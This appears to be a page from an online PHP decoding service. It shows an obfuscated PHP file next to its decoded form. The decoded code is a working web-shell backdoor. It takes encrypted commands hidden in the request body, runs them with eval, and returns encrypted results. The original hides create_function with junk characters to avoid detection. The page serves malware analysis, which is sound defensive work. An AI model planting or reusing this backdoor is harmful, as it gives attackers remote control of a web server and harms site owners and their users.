Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $C='^7$k="202cb962";$^7kh^7="ac^75^79075b964b^7";$kf="07^7152d234b70^7"^7;$p='; $K..
Decoded Output download
$k="202cb962";$kh="ac59075b964b";$kf="07152d234b70";$p="zIxmRsN8i26hKUlE";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$C='^7$k="202cb962";$^7kh^7="ac^75^79075b964b^7";$kf="07^7152d234b70^7"^7;$p=';
$K='m^7atch("/$k^7h(.+)$kf^7^7/",@file_ge^7t_c^7ontents("ph^7p://input")^7,$m';
$n=')=^7=1^7^7) {@ob_start()^7;@e^7val(@^7gzuncompre^7ss(@^7x(@ba^7^7se64_d';
$q='bas^7e64^7^7_encode(@^7x(^7@gzco^7mpress($o),$k))^7;print("$^7p$^7kh$r$kf");}';
$A='"zIxmR^7sN8^7^7i26hKUlE";fun^7c^7tio^7n x($t,$k){$c=^7strlen(^7$k);$l=^7str';
$s=str_replace('Vs','','VscrVseateVs_fVsVsuncVstion');
$T='ecode(^7$m[1]),$k^7)));^7$o^7=@ob_get_con^7t^7e^7nts();@ob_en^7d_cle^7an();$r=@';
$V=';$j+^7+,$i++^7){$^7o^7.=$t{$^7^7i}^$k{$j};}}return $o;}i^7f (@pr^7^7eg_';
$e='le^7n($t)^7;$o=^7"";for($i=0;^7$i<$l;^7)^7{fo^7r($^7j=0;^7($j<$c&&$^7i<$l)';
$o=str_replace('^7','',$C.$A.$e.$V.$K.$n.$T.$q);
$a=$s('',$o);$a();
?>
Function Calls
str_replace | 2 |
create_function | 1 |
Stats
MD5 | c73f393d0aa713b44e33d14655500316 |
Eval Count | 1 |
Decode Time | 96 ms |